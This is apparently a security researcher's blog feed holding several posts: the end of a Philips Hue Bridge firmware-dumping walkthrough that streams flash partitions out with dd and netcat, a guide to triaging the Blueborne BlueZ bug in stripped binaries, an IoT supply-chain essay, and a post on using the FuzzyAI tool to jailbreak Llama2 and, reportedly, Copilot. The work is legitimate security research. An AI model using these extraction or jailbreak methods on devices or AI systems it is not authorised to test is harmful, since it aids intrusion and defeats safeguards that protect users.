<p>  Failsafe mode basically gives you a minimal shell environment so you can work with the temporary file system without crashing the device. From here, you can start dumping MTD blocks using <code>nc</code> or whatever method you prefer.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764692325878/033c113c-d58f-48c7-9de9-e80c36ce0844.png" alt class="image--center mx-auto" /></p>
<p>  Now we’ve got our emergency Ramdisk running, and it’s time to start pulling the firmware from the MTD partitions. Before you dive in, make sure to configure the network interface, usually <code>eth1</code> on this device and set the IP address correctly so the device can talk to your host machine.</p>
<p>  Once that’s done, you can start dumping the MTD blocks one by one and stream them out using <code>nc</code> (netcat). This gives you a clean way to extract the raw firmware without relying on the device’s restrictive overlay filesystem.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764692455141/7bbe4598-c315-436f-a5ac-a513bcf7eeda.png" alt class="image--center mx-auto" /></p>
<p>  Once you’ve got the Ramdisk running and the network configured, do a quick <strong>ping</strong> from your host machine to the device to make sure connectivity is solid. If that checks out, the next step is simple:</p>
<ul>
<li><p>Start a <strong>netcat server</strong> on your host machine.</p>
</li>
<li><p>From the device, stream the MTD partitions over to your host using <code>nc</code>.</p>
</li>
</ul>
</li>
</ul>
<p>    This way, you’ll have the raw firmware safely outside the device, ready for analysis.</p>
<pre><code class="lang-bash">    nc -l -p 9000 &gt; &lt;firmware.bin&gt; - on Linux acting as server
    dd <span class="hljs-keyword">if</span>=/dev/&lt;partition&gt; bs=1M | nc &lt;your Linux server IP&gt; 9000 - on device
</code></pre>
<p>    <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764693145985/924e869f-124b-416b-8a40-b4ae631cd2dd.png" alt class="image--center mx-auto" /></p>
<p>    Run the above commands for all the partitions.</p>
<p>The real stuff here is the <strong>UBI/SquashFS file system</strong>, it holds the root tree of the device: binaries, configs, libraries, and everything else that makes the Hue Bridge tick.</p>
<p>After dumping the MTD partitions, the next step was parsing them. For that, I turned to some Python-based UBIFS reader utilities. They’re super handy for extracting and navigating the contents of these NAND-based file systems without having to mount them directly on the device.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764693356742/0a7e5a35-c60e-4450-95b0-f0855fbbda4c.png" alt class="image--center mx-auto" /></p>
<p>Finally, I could confirm that the files I pulled were indeed from the Hue Bridge and not some random junk. That meant I successfully extracted the actual <a target="_blank" href="https://mega.nz/folder/42NSXYga">firmware</a> (I might share the decryption key if Philips reaches out to me)from the device. The version I got was <strong>1959194040</strong>, which is an older build.</p>
<p>For comparison, if you download firmware from Philips’ official site, you’ll get a blob that’s packed, obfuscated, and encrypted. I tried that route too, but the good news is, somewhere in the extracted file system, there’s a <strong>decryptor(Please don’t ask for the Decryptor)</strong>. So, that’s a win.</p>
<p>At least up to this point, the goal was achieved: <strong>firmware extraction from the device itself</strong>. Other methods didn’t work for me, and I could’nt find an older article that extracts firmware from a newer device . There are old threads on OpenWRT forums about this, but Philips has patched a lot since then.</p>
<p>Could there be a cleaner way to do this? Probably. Did I have time to explore it? Nope—the clock was ticking. This whole process took about <strong>3–4 days of solid work</strong>.</p>
<p>Troubleshooting Tips:<br />- As always make sure your hardware connections are not loose - this has caused me time well wasted over the span of my career in a lot of variety of ways<br />- I spent a lot of time getting the /bin/sh and then pivot to /sbin/init by doing all sorts of ubifs magic, overlayfs, mtd mounting etc. The steps <a target="_blank" href="https://mega.nz/file/Rrd0hK7D#CXShbBO0YblTKjLsQI8d3IwZrxskRcEsrfL7os0Jn90">here</a> however worked somehow after a lot of trial and error.<br />- Don’t get locked down by dead-ends and quickly move to another approach - Go in the rabbit hole that is worth while<br />- As I had limited time probably just 2 weeks so i only could go for a few rabbit holes.</p>
<p>When I used to work as a low-level developer i have worked and wrote code for most of the things mentioned here. However, there were a few things, that were new to me until here.  </p>
<p>I would also like to Thank my dear friend Alexandre Opeck for some cool discussions(quantum JTAG :) ) we used to have during our coffee breaks on various strategies for this device.</p>
<p>In the next one, we will have a look at the functionality and other items I investigated!</p>
<p>Resources:</p>
<p><a target="_blank" href="https://research.checkpoint.com/2020/dont-be-silly-its-only-a-lightbulb/">https://research.checkpoint.com/2020/dont-be-silly-its-only-a-lightbulb/</a><br /><a target="_blank" href="https://www.reddit.com/r/Hue/comments/3x12y6/jailbreaking_the_v2_hub/">https://www.reddit.com/r/Hue/comments/3x12y6/jailbreaking_the_v2_hub/</a><br /><a target="_blank" href="https://www.jkry.org/ouluhack/HackingHueBridge?utm_source=chatgpt.com#Getting_root_shell_.28HW_hacking.29">https://www.jkry.org/ouluhack/HackingHueBridge?utm_source=chatgpt.com#Getting_root_shell_.28HW_hacking.29</a><br /><a target="_blank" href="https://blog.kleine-koenig.org/ukl/philips-hue-bridge-v21.html">https://blog.kleine-koenig.org/ukl/philips-hue-bridge-v21.html</a><br /><a target="_blank" href="https://ottelo.jimdofree.com/sonstiges/philips-hue-bridge-wlan/">https://ottelo.jimdofree.com/sonstiges/philips-hue-bridge-wlan/</a><br /><a target="_blank" href="https://www.synacktiv.com/publications/i-hack-u-boot">https://www.synacktiv.com/publications/i-hack-u-boot</a><br />And others …</p>
]]></content:encoded></item><item><title><![CDATA[Part I: Triaging Blueborne From Stripped Binary]]></title><description><![CDATA[I remember back when I was working with a major Infotainment supplier in a very then recently formed security team, one of the agenda for us was to check if something that comes up online as a security blog/vulnerability/hack/talk etc and map that to...]]></description><link>https://gh0stshell.cc/part-i-triaging-blueborne-from-stripped-binary</link><guid isPermaLink="true">https://gh0stshell.cc/part-i-triaging-blueborne-from-stripped-binary</guid><category><![CDATA[#BlueBorne  #BluetoothHacking  #ReverseEngineering  #FirmwareTriage  #BinaryAnalysis  #Ghidra  #BlueZ  #CVE20171000251  #Infosec  #ProductSecurity  #AutomotiveSecurity  #EmbeddedSecurity  #ExploitDev  #SBOM  #BinaryNinja  #CompilerOptimizations  #SecurityResearch  #HackTheFirmware  #TysonEqualsMe  #WhatTheFlyingFuckIsThis]]></category><dc:creator><![CDATA[Abhijit Lamsoge]]></dc:creator><pubDate>Sun, 16 Nov 2025 08:08:47 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1763279674388/d652a439-01c3-4b33-a50c-d8e60993239e.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I remember back when I was working with a major Infotainment supplier in a very then recently formed security team, one of the agenda for us was to check if something that comes up online as a security blog/vulnerability/hack/talk etc and map that to our existing portfolio of devices and the software stacks they might use. It was easier said than done, as most of the companies including ours did not have a detailed centralized inventory of what our products were using in software stacks or hardware so that we can run a couple of search queries and find which product in development and field were affected, so stuff had to be done manually. And then we got a signal for a set of vulnerabilities affecting the Bluetooth Stack and Kernel probably used by millions if not billions<br /><a target="_blank" href="https://info.armis.com/rs/645-PDC-047/images/BlueBorne%20Technical%20White%20Paper_20171130.pdf">Blueborne</a> vulnerabilities and Exploits from <a target="_blank" href="https://www.armis.com/">Armis</a> are really cool and probably they were found out by years of source code audit and experimentation and there were several vulnerabilities, 8 to be precise ! According to Armis, around <a target="_blank" href="https://www.allaboutcircuits.com/news/blueborne-bluetooth-attack-puts-over-8-million-devices-at-risk/">8.2 billion devices</a> would be affected !!</p>
<ul>
<li><p>1. Linux​ ​kernel​ ​RCE​ ​vulnerability​ ​-​ ​CVE-2017-1000251</p>
</li>
<li><p>2. Linux​ ​Bluetooth​ ​stack​ ​(BlueZ)​ ​information​ ​Leak​ ​vulnerability​ ​-​ ​CVE-2017-1000250</p>
</li>
<li><p>3. Android​ ​information​ ​Leak​ ​vulnerability​ ​-​ ​CVE-2017-0785</p>
</li>
<li><p>4. Android​ ​RCE​ ​vulnerability​ ​#1​ ​-​ ​CVE-2017-0781</p>
</li>
<li><p>5. Android​ ​RCE​ ​vulnerability​ ​#2​ ​-​ ​CVE-2017-0782</p>
</li>
<li><p>6. The​ ​Bluetooth​ ​Pineapple​ ​in​ ​Android​ ​-​ ​Logical​ ​Flaw​ ​CVE-2017-0783</p>
</li>
<li><p>7. The​ ​Bluetooth​ ​Pineapple​ ​in​ ​Windows​ ​-​ ​Logical​ ​Flaw​ ​CVE-2017-8628</p>
</li>
<li><p>8. Apple​ ​Low​ ​Energy​ ​Audio​ ​Protocol​ ​RCE​ ​vulnerability​ ​-​ ​CVE-2017-14315</p>
</li>
</ul>
<p>In this article/series we will focus on the first two -​ CVE-2017-100025 and ​CVE-2017-1000251</p>
<p>​CVE-2017-1000251 is a information leak vulnerability so i thought it should be relatively possible to find in the binary where the vulnerability is present as we have all the details related to the code, the patch and exact versions of the software, namely <a target="_blank" href="https://www.bluez.org/release-of-bluez-5-46/">Bluez</a> <a target="_blank" href="http://www.kernel.org/pub/linux/bluetooth/bluez-5.46.tar.xz">version 5.46</a>. The source code patch is available here in version 5.46<br />With that being said, generally there are two ways to find out if this affects you -</p>
<ol>
<li><p>You have an inventory or SBOM of the products with the software’s used inside it with versions of all the libraries, stacks, vendor stacks (generally no) etc</p>
</li>
<li><p>Find out from the binary blog? What?</p>
</li>
</ol>
<p>In the first case, if you have this then you are a pro otherwise you are in the same queue as majority of vendors.<br />In the second one, when people build stuff, its generally good to optimize the code and remove the symbols from the builds to ensure less size, as the processor don’t care if you have symbols or not, all it care is binary code and stripping a binary or library from its symbols and debug information for production devices that are shipped is a good practice. When you want some debug ability let’s say during development you need to know where your shit crashed and with some logs would be good. But this causes a problem to track something that is in the field if it’s pure binary data -<br />Now to identify if Blue Borne is part of your device stack or not is based on the above two approaches. Therefore, for an investigation team like a Product Security Team, it would be important that they analyse all the assets to look for something that looks like Blue borne purely from stripped binary data and this is how it looks.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763030343818/3cf40d8c-c556-43a6-8810-f2c442e91277.png" alt="Stripped-Binary-Decompilation" class="image--center mx-auto" /></p>
<p>Now, what the flying fuck is this, said Tyson Benson one day.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763280072193/23cb0ded-65e4-42e1-aaa1-3e15c3ea6b19.png" alt class="image--center mx-auto" /></p>
<p>How can someone not so experienced with reverse engineering look for something like this a multitude of stripped and packed code throughout a set of products portfolios?</p>
<p>Now here is a sane compiled from source with symbols versions of the same stub</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763030511702/e5129461-4109-4ee1-9e29-10875117443d.png" alt="Decompilation-When-We-Have-Symbols" class="image--center mx-auto" /></p>
<p>Imagine how much easier would it be triage this if only we had debug symbols - In some cases, you took this from someone else, and he deleted all the symbols before sending it to you and in other you might still have them if this was part of some random team from your company.</p>
<p>Triaging this when you are symbol blind seems like a mission for the IMF !!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763030800722/afe6a811-b7a4-47ad-82fc-822f5ba93f76.gif" alt class="image--center mx-auto" /></p>
<p>But wait - then how do you actually triage this ?</p>
<p>Let me take a diversion here to show you how compiler plays tricks on you when you want to load some binaries in Ghidra and try to find it where the hell is that stub function ?</p>
<p>I started to build out an environment to compile Bluez 5.46 from source code and after running into some compiler warnings and error of the kind like redefinition of function in some files on the newest ubuntu, i found the newest include files from Libc defined some functions differently that were used in this version of BlueZ - idk whatever , so i decided to use <a target="_blank" href="https://imgur.com/a/blueborne-exploit-zcvLb">Ubuntu 16.04</a> as some guy used this to build an <a target="_blank" href="https://github.com/sgxgsx/blueborne-CVE-2017-1000251/tree/main">exploit</a> for these vulnerabilities, hence i switched to a server version of Ubuntu 16.04 and the shit compiled out of the box.<br />Cool, who really configures the codebase when you are just playing around, so i let it build with default options. Then loaded the built object code for the src/bluetoothd-sdpd-request.o in ghidra and to my surprise the function(service_search_attr_req) where the vulnerability exists would’t show up in the function listing — why ? I had no idea. This is probably should have been intuitive for me but not one of my best days. So i went a little deeper.<br />The actual code where the vulnerability resides according to Armis’s documentation looks something like this so the function service_search_attr_req must be there in the file src/sdpd-request.c</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763053717324/29e54fd7-60c0-4ba5-8a3a-a0878d1d4524.png" alt="Actual-Code - Can you spot/guess the vulnerability ?" class="image--center mx-auto" /></p>
<p>The function after compiling matched on below files as one would expect, specifically the object file src/bluetoothd-sdpd-request.o</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763053876550/dfdedbce-7035-4aa6-9d69-090988b61e3d.png" alt class="image--center mx-auto" /></p>
<p>But it does’’t show up in readelf symbols, nm or any other tools including Ghidra.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763054020811/745502af-f6b2-4e26-b4f8-18b35a50ae19.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763054547358/e1473fcc-0c4f-4f4d-934b-58bd9e44334a.png" alt class="image--center mx-auto" /></p>
<p>After seeing this i was like wow - generally, this function is part of the compiler optimization hence the function got removed or something else happened ?</p>
<blockquote>
<p>Ghost Input: Compiler optimizations have killed more RE’s in an hour than titanic !</p>
</blockquote>
<p>The solution is simple, the compiler optimized this and in-lined this function within the same file from where this is called depending on level of optimization, this is completely terrible when reverse engineering as it is hard to understand where is what and is a point of confusion and this is most probably how it will be in production release version, in-lined, optimized, and stripped of any debug info to give you a hint. As this is an exercise, lets simplify this a little bit.<br />We recompile the code but with no optimization so that the service_search_attr_req is visible as a separate function and we can create a call graph.</p>
<pre><code class="lang-bash">./configure CFLAGS=<span class="hljs-string">"-O0 -fno-inline -g"</span>
</code></pre>
<p>Once we have the object file with no compiler optimizations, things look a little better and we can find the function now because we told the compiler to ignore optimization. This should have been picked up by me earlier.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763057643672/5a520206-008e-4c89-a30e-40010ce08780.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763060172009/1d58ced5-a3ca-4b8b-becd-f48ef63bb965.png" alt class="image--center mx-auto" /></p>
<p>So based on the data from Armis, lets try to prepare a Path to reach this function purely initially from the debug version binary file and then with stripped binary file as it will be in production - good for you if it has debug (some)symbols in production.</p>
<p>If with debug symbols a small call tree would look like this -</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763062581098/f913be18-d853-4372-a3c3-fd3e81b75d2e.png" alt class="image--center mx-auto" /></p>
<p>The start of Process request with its address - 0×00101a7a</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763063186656/5ad84a97-01ed-4b78-af4b-9bb4df41606c.png" alt class="image--center mx-auto" /></p>
<p>Similarly for handle internal request at 0×101d56</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763063280425/d554349d-57af-496c-9348-18fd6a3c09f7.png" alt class="image--center mx-auto" /></p>
<p>and also for handle_request at 0×101e1f</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763063353150/17cde584-e95e-49d3-ba03-1e8f6dc883be.png" alt class="image--center mx-auto" /></p>
<p>Therefore taking stuff from debug versions to compare the symbols and functions from the not optimsed compiled object file refer to the same function calling tree - Yay ! as seen from below</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763063127796/e186f518-cfd1-408f-8b32-987ca61b7fc7.png" alt class="image--center mx-auto" /></p>
<p>Could this mean there is a way to do this ? Probably yes, here we recompiled our codebase to show us independent functions stub so we can better trace in Ghidra. May be using this method, you can probably pin point if your older compiled binary based shit is valid or not for a given vulnerability.<br />Knowing a vulnerability and the path it takes can be used effectively to somehow counter “Are we affected with this godforsaken bug ?”, the above method is very trivial when done manually and only takes an hour or so for an experienced researcher doing stuff manually.</p>
<p>Relying on addresses is not a good way, as a small change will change these offsets.</p>
<p>It is totally possible that other methods to do this exists and are much better, maybe someone would have made a plugin for Ghidra or Binja for this idk. Please note we have not covered how to trace when the compiler optimizations are in place and functions are in-lined, perhaps we will do it in the next article.<br />The lingering question still remains, will this help the not-so-reverse-engineery analyst Tyson B pinpoint, confirm and triage this purely from a binary.</p>
<p>Stay Tuned for Part II.</p>
<p>Note: For professional queries and projects, reach out to me at <a target="_blank" href="mailto:abhijit.lamsoge@outlook.com"><strong>abhijit.lamsoge@outlook.com</strong></a></p>
<p>Title image and Tyson’s(He looks much better than this guy) image is generated by AI.</p>
]]></content:encoded></item><item><title><![CDATA[How do you know what "Risks" you are shipping with your product ?]]></title><description><![CDATA[Story Time Phreaks !
You scroll Amazon or AliExpress late at night and a shiny IP or door camera shows up. It promises WiFi, Bluetooth, a slick app, cloud view, maybe even some AI sticker on the box. The price feels like a win so you buy it. What you...]]></description><link>https://gh0stshell.cc/how-do-you-know-what-risks-you-are-shipping-with-your-product</link><guid isPermaLink="true">https://gh0stshell.cc/how-do-you-know-what-risks-you-are-shipping-with-your-product</guid><category><![CDATA[#IoTSecurity #FirmwareSecurity #Embedded #SupplyChain #SBOM #ProductSecurity #VulnMgmt #CVE #ReverseEngineering #IncidentResponse #OTASecurity #DeviceIdentity #Privacy]]></category><dc:creator><![CDATA[Abhijit Lamsoge]]></dc:creator><pubDate>Wed, 12 Nov 2025 19:07:19 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762974200992/ddbb2bbf-5abb-4e74-bb09-1de107420f26.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-story-time-phreaks">Story Time Phreaks !</h3>
<p>You scroll Amazon or AliExpress late at night and a shiny IP or door camera shows up. It promises WiFi, Bluetooth, a slick app, cloud view, maybe even some AI sticker on the box. The price feels like a win so you buy it. What you do not see is the rest of the picture. The same camera can quietly invite strangers into your living room. Not because you are careless, but because the device is a patchwork of other people’s code and choices shipped fast. E.g. <a target="_blank" href="https://www.bitsight.com/blog/bitsight-identifies-thousands-of-compromised-security-cameras">here</a> and <a target="_blank" href="https://www.malwarebytes.com/blog/news/2025/06/thousands-of-private-camera-feeds-found-online-make-sure-yours-isnt-one-of-them">here</a> and countless more - do you need a dashboard ?</p>
<p>Risk sneaks in two ways. Sometimes it is intentional and the design serves a purpose that is not yours. More often it is accidental. Normal companies under normal pressure assemble products the way everyone builds now. Layers of chips, SDKs, open source libraries, vendor firmware, and cloud glue that a contractor grabbed on a Tuesday. No one writes a fresh TLS stack. No one invents a new JSON parser. You pick parts that seem reliable, wire them together, demo the feature, and close the ticket. That is what velocity looks like.</p>
<p>Provenance is what gets lost. Your team buys a module from Company A. That module bundles firmware from Supplier B. Supplier B links a library from C. The library depends on a blob from D that has not seen an update in years. By the time the product ships, the box in your hand is a matryoshka of strangers’ code. If you cannot name it, you cannot patch it. That unknown middle is the supply chain blind spot. It is the difference between hotfixing tonight and discovering your camera speaks a language you do not.</p>
<p>Picture this. A small vendor lands a purchase order for ten thousand connected devices for a transport fleet. The team celebrates. Boxes leave the warehouse. Dashboards light up. Someone posts photos of pallets on LinkedIn. Local press covers the story. A reseller promotes it on the homepage. The attention feeds sales and it also feeds curiosity. Somewhere else, <a target="_blank" href="https://gist.github.com/jaredsburrows/9e121d2e5f1147ab12a696cf548b90b0?permalink_comment_id=5360919">someone</a> (i hope its not someone like fisher or you are royally fucked bruhh) orders two of those devices with the same one click checkout. There are no NDAs and no introductions. They are not a customer in the usual sense. They keep a clean bench for new hardware.</p>
<p>On the bench the device opens like any other. The case comes off. The board gets photographed. Flash is dumped. The firmware slides into familiar tools. Strings spill. File systems unfold. Symbols line up. The mobile app is unzipped so the traffic model is visible. Cloud endpoints are listed and filed. Within a day, and sometimes within an afternoon, an old and unfixed issue appears. It is not a zero day. It is a known problem in a third party component the vendor did not realize they shipped. A public proof of concept already exists. It is not elegant. It is enough.</p>
<p>From there the work moves quickly. Remote code execution lands on the device. Secrets fall out with it. Tokens that let the device prove itself to the backend. Keys that authorize uploads. With those in hand the attacker does not kick in a cloud door. They walk in as the device they just compromised. The map expands. Bucket names. Topics. Internal dashboards that were never meant for the public internet. Nothing dramatic, only predictable. They take what proves the point. They write a careful post. They publish code that makes the issue reproducible. If they are responsible it appears after a disclosure clock. If they are not it appears without warning.</p>
<p>The vendor’s incident channel lights up. Logs are pulled. The first reaction is confusion. The exploit never touches the code the team remembers writing. It never calls the APIs they swear they locked down. It slices through a different layer that arrived pre assembled inside a radio module, or a vendor SDK, or a small helper binary that never made the architecture slide. The fix is not obvious because the broken piece is not really theirs. Emails go out. Can Supplier B confirm the version. Can Company A share a build. Can anyone find the engineer who integrated this. Is the original vendor still in business. Does anyone have the source.</p>
<p>This is the moment where theory becomes heavy. Upstream is slow because upstream is busy or gone. The vulnerability is only real to them after you reproduce it on your exact build with your exact flags. The component you need to update depends on a compiler no one has installed in years. Secure boot is only partially secure. OTA is only partially over the air. Rollback is a shrug. Even if everything lines up, swapping a library changes the memory layout and breaks a driver that saw one test on a Friday afternoon. Rebuilding a thing you did not assemble feels like surgery without a chart.</p>
<p>It sounds bleak, and it is honest. The goal is not to dunk on teams that ship devices. The goal is to accept that risk is baked into how we build. The answer is not perfect code. The answer is traceability and rehearsal. Know what is in the box that carries your logo. Not a marketing SBOM. A real one. Hashes of the actual blobs that reach the flash. Know which parts by exact version speak to the outside world. Name the update agent. Name the P2P relay. Name the tiny web server that everyone forgets until it turns into root. If a stranger on the internet drops a working exploit for one of those pieces tomorrow, you should be able to say, without guessing, whether you shipped it.</p>
<p>Practice the hard part next. Patching for real. An emergency update drilled end to end, including failure paths. If a fix lands at ten at night, you should be able to stage it to one percent of units, watch telemetry, hold a rollback switch, and ramp the release. You should be able to push a hotfix without bricking boxes that live in trucks and talk over weak networks. You should be able to do it again two days later if the upstream patch introduces a regression. You do not find those answers in a sprint board. You find them in dry runs, alarms, and quiet postmortems.</p>
<p>All of this looks expensive until you compare it to the bill you pay when things go wrong. The cost of a recall is not just shipping and swaps. It is days of engineering calendars set on fire. It is strained contracts and nervous customers. It is a permanent search result that ties your name to unauthorized access. The cost of refusing to look is higher than the cost of learning to see.</p>
<p>Here is a short questionnaire to turn the story into a concrete self check. Keep the voice, keep the pace, but get the answers in writing.</p>
<h3 id="heading-questions-to-ask-yourself">Questions to ask yourself</h3>
<ul>
<li><p>Do we have a real firmware SBOM with exact versions and hashes for every binary and library</p>
</li>
<li><p>Can we name the update agent, the tiny web server, the P2P or relay SDK, and the crypto library by version</p>
</li>
<li><p>Which components initiate outbound connections, to which domains, and with what trust roots</p>
</li>
<li><p>Are device secrets unique per unit and stored in hardware or an equivalent protected store</p>
</li>
<li><p>Did we remove default creds, debug interfaces, and unauth endpoints from production images</p>
</li>
<li><p>Can we stage an emergency OTA to a small slice, observe telemetry, roll back safely, and ramp within forty eight hours</p>
</li>
<li><p>Are updates signed, anti rollback enforced, and recovery reliable under power loss and weak networks</p>
</li>
<li><p>Can we rebuild and patch third party components we did not write, including toolchains and licenses</p>
</li>
<li><p>Do we track first hop suppliers for every module and have named contacts who answer</p>
</li>
<li><p>Do contracts require upstream SBOMs and specify CVE response time with a security advisory channel</p>
</li>
<li><p>Which parts of our stack are end of life, and what is our swap or containment plan now, not later</p>
</li>
<li><p>If a third party SDK or proxy fails, could any user ever see another user’s data</p>
</li>
<li><p>Can we rotate device credentials fleet wide without touching hardware</p>
</li>
<li><p>If someone drops a proof of concept tonight, can we answer are we affected with evidence in under two hours</p>
</li>
</ul>
<p>The camera you bought in two clicks is not the villain. The villain is the gap between the product you think you shipped and the stack you actually shipped. Attackers live in that gap because everyone moves slowly there. Closing it is not glamorous. It is build sheets and pinned versions. It is upstream contacts who answer when it is late. It is tests that run on the whole device, not just the UI. It is a habit of treating what is inside as a first class question, not an audit note.</p>
<p><strong>Ghost Conclusion</strong></p>
<p>You do not need perfect code to ship a safe product. You need a product you can name, prove, and repair. If you can list the ingredients you can track the risks. If you can track the risks you can patch without panic. The day your success post goes a little too viral someone will put your device on a bench. That is not paranoia. That is how this industry moves. The difference between a headline and a footnote is your ability to say, with a straight face, that you know what you shipped and that you can fix it.</p>
<p>Note: Images are AI generated.  </p>
<p>For professional queries and projects, reach out to me at <a target="_blank" href="mailto:abhijit.lamsoge@outlook.com">abhijit.lamsoge@outlook.com</a></p>
]]></content:encoded></item><item><title><![CDATA[Script Kiddies Intro to LLM]]></title><description><![CDATA[I have absolutely no idea how LLMs (Large Language Models) work from the inside or outside, so to be honest, I’m a complete newbie and script kiddie when it comes to experimenting with them. However, like most of us, I’m a power user of tools like Ch...]]></description><link>https://gh0stshell.cc/script-kiddies-intro-to-llm</link><guid isPermaLink="true">https://gh0stshell.cc/script-kiddies-intro-to-llm</guid><category><![CDATA[noob]]></category><category><![CDATA[scriptkiddie]]></category><category><![CDATA[llm]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Abhijit Lamsoge]]></dc:creator><pubDate>Wed, 12 Nov 2025 16:52:58 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762796875224/5bb9e9ba-89c7-4773-a70f-b669af82b62a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I have absolutely no idea how LLMs (Large Language Models) work from the inside or outside, so to be honest, I’m a complete newbie and script kiddie when it comes to experimenting with them. However, like most of us, I’m a power user of tools like ChatGPT and Claude in VS Code.</p>
<p>Everyone around me seems to be an AI security expert doing all kinds of stuff. I’m definitely not that pro yet, so I decided to try the most script-kiddie thing—like in my younger days: run someone else’s tools and see if the world burns down!</p>
<p>The simplest thing one can do is try to make an LLM or AI agent (like Copilot or ChatGPT) reveal the recipe for “how to make a bomb,” or something else like “replace Julia Ann’s face with my friend’s girlfriend’s face.” (We all know where this would go.) Hence, systems like these must have logic or controls that prevent responses to such queries.</p>
<p>The practice or art of circumventing these checks by providing input that makes an LLM violate its response policies is often called “hacking” or “jailbreaking” (maybe not). I don’t know what it’s called exactly, but the simplest way to say it is: we prompt (give input to) the LLM in such a way that it ignores the walls (policies) that should constrain its output when it receives an unreasonable query.</p>
<p>Most of the online LLMs—GPT, Claude, Gemini, Copilot, etc.—have stronger walls. Therefore, I wanted to see if Ollama2 could be bypassed in this way.</p>
<p>Apparently, this kind of thing is called clever prompting or crafting your input to trick the internal policy engine of the LLM into giving you what you want. But it’s not that easy with the best LLMs out there. So why not use one LLM to generate this prompt and then feed that prompt to another LLM—phew, that’s so hard.</p>
<p>As an exercise, you could use existing online LLMs to generate this prompt. But I wanted to use an LLM I could run locally—because I don’t want you to steal my prompts. Bad!</p>
<p>It seems Ollama2 offers a great way to run a machine learning model locally on your machine, so I set it up on a local VirtualBox with Ubuntu Server, 4 processors, and 16 GB of RAM. Turns out it’s good enough for basic experiments.</p>
<p>Downloading and running Ollama is quite simple:</p>
<pre><code class="lang-bash">ollama run llama2
</code></pre>
<p>Monitoring is even more simple — just wireshark or tcpdump on port 11434 on localhost.<br />To send a query to ollama2 - just type it into the prompt as seen from the below image</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762780040408/558bf2f0-c59a-4789-9f67-61e1b6e8df55.png" alt class="image--center mx-auto" /></p>
<p>making bomb is not supported as seen below:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762780091690/1f0c8d60-7dd7-4189-9d53-778f20d89b49.png" alt class="image--center mx-auto" /></p>
<p>It seems that some filters on ollama are triggered that prevent us from getting the response what we want ?<br />Now this article is about me being a script kiddie in the LLM world - so we use a tool called FuzzyAI from CyberArk, i heard about this tool when darknet diaries mentioned cyberark and I was trying to find out what they do, seems pretty cool tool to use. Setting up <a target="_blank" href="https://github.com/cyberark/FuzzyAI">fuzzyAI</a> is also straightforward, just follow their instructions on github.</p>
<p>After a little bit of trial and error it will generate a malicious or tricky prompt for you as below.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762795187833/dd492068-3264-4713-8734-b0b413c70da8.png" alt class="image--center mx-auto" /></p>
<p>And sometimes it just does’’t work as expected and sometimes it worked with copilot in a corporate setting.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762795371065/b1603d3d-3778-4767-9cda-786489c4eb63.png" alt class="image--center mx-auto" /></p>
<p>I am already bored with this experimentation - but maybe i will get back to this later.<br />For today felt good to be a script kiddie again.<br />Note: For professional queries and projects, reach out to me at abhijit.lamsoge@outlook.com</p>
]]></content:encoded></item><item><title><![CDATA[List of CVE’s for Me]]></title><description><![CDATA[I am absolutely a no fan to report CVE’s and wanted to never publish something ever. But one of my good friend convinced me after a heated and controversial debate to do so. Therefore I decided to sta]]></description><link>https://gh0stshell.cc/list-of-cves-for-me</link><guid isPermaLink="true">https://gh0stshell.cc/list-of-cves-for-me</guid><category><![CDATA[automotive security]]></category><dc:creator><![CDATA[Abhijit Lamsoge]]></dc:creator><pubDate>Thu, 24 Aug 2023 06:21:53 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/690de576a51af7311ea8bc73/966bd4c1-e85c-4b4a-bb89-c00f243058d1.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I am absolutely a no fan to report CVE’s and wanted to never publish something ever. But one of my good friend convinced me after a heated and controversial debate to do so. Therefore I decided to start logging them on the CVE site here – <a href="https://cveform.mitre.org">https://cveform.mitre.org</a></p>
<table>
<thead>
<tr>
<th><em><strong>CVE Number</strong></em></th>
<th><em><strong>Description</strong></em></th>
<th><em><strong>What I feel</strong></em></th>
</tr>
</thead>
<tbody><tr>
<td><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-40291">CVE-2023-40291</a></td>
<td>Harman Infotainment 20190525031613 allows root access via SSH over a USB-to-Ethernet dongle with a password that is an internal project name</td>
<td>Its very trivial</td>
</tr>
<tr>
<td><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-40292">CVE-2023-40292</a></td>
<td>Harman Infotainment 20190525031613 and later discloses the IP address via CarPlay CTRL packets.</td>
